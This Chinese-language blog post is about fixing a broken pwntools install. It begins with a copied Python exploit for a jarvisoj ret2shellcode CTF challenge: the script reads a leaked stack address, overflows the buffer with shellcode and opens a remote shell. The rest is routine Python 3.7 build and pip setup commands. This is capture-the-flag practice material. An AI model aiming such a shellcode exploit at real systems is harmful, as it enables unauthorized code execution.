記一次five熬夜重灌pwntools

Ph4ntom發表於2020-12-22

今天是個好日子,今天是12.21,冬至
今天不是好日子,做一道簡單題的時候發現pwntools沒裝好嗚嗚嗚
這是一道基礎的ret2shellcode,但是也不會做的我直奔wp去抄exp

from pwn import *
 
p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
#接收從下標為第14位到倒數第二位的字串
text = p.recvline()[14:-2]
print text[14:-2]
#將text字串通過int函式轉換為16進位制的地址,作為跳轉的地址
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())
 
payload = 'a' * (0x88+4-len(shellcode)) + shellcode +  p32(buf_addr)
p.send(payload)
p.interactive()

然後執行,報錯:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__
    return getattr(m, key)
  File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__
    return getattr(m, key)
  File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 80, in __getattr__
    real = internal.make_function(key, self._shellcodes[key], self._dir)
  File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 114, in make_function
    template   = lookup_template(path)
  File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 79, in lookup_template
    init_mako()
  File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 14, in init_mako
    from mako.lookup import TemplateLookup
  File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/lookup.py", line 12, in <module>
    from mako import exceptions
  File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 305, in <module>
    _install_highlighting()
  File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 300, in _install_highlighting
    _install_pygments()
  File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 284, in _install_pygments
    from mako.ext.pygmentplugin import syntax_highlight  # noqa
  File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/ext/pygmentplugin.py", line 8, in <module>
    from pygments.formatters.html import HtmlFormatter
  File "/usr/local/lib/python2.7/dist-packages/Pygments-2.6.1-py2.7.egg/pygments/formatters/html.py", line 554
    file=sys.stderr)
        ^
SyntaxError: invalid syntax

發現是shellcraft.sh()這裡出了問題
在這裡插入圖片描述
啊這。。。這還能怎麼辦呢,重灌pwntools吧嗚嗚嗚
但是又遇到了問題

在這裡插入圖片描述
那,只好用python3安裝pwntools了

首先安裝vm tools

sudo apt-get install vim

執行所有升級

sudo apt-get update
sudo apt-get upgrade -y

安裝編譯Python源程式所需的包

sudo apt install build-essential -y
sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y
sudo apt-get install zlib1g-dev

下載Python 3.7源程式壓縮包

wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz

解壓縮

tar -xzvf Python-3.7.1.tgz

配置

cd Python-3.7.1
./configure --enable-optimizations

編譯和安裝Python 3.7

sudo make
sudo make install#這裡遇到了報錯,根據提示改成了sudo -H make install,完成

安裝、升級、解除安裝pip和更換pip源

sudo apt-get install python3-pip
sudo pip3 install --upgrade pip#這條報錯,改成-H)之後發現沒有影響
sudo apt-get remove python3-pip
sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#這條也是warning,改成-H了,好像幹了點壞事)

在這裡插入圖片描述在這裡插入圖片描述
安裝git

sudo apt install git

進行git配置

sudo git config --global user.name ‘自定義使用者名稱’
sudo git config --global user.email ‘郵箱’

檢視配置

git config –list

pwntools

sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#這條依舊報錯,然後有個手滑,加了-H
sudo pip install -U setuptools
sudo pip install --upgrade pip
sudo pip install --upgrade pwntools#上面三條全部報錯,沒加-H,然後飆紅了,給前兩條加了最後一條沒加,貌似成功了

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
裝好了,還是比較蠢的2333

相關文章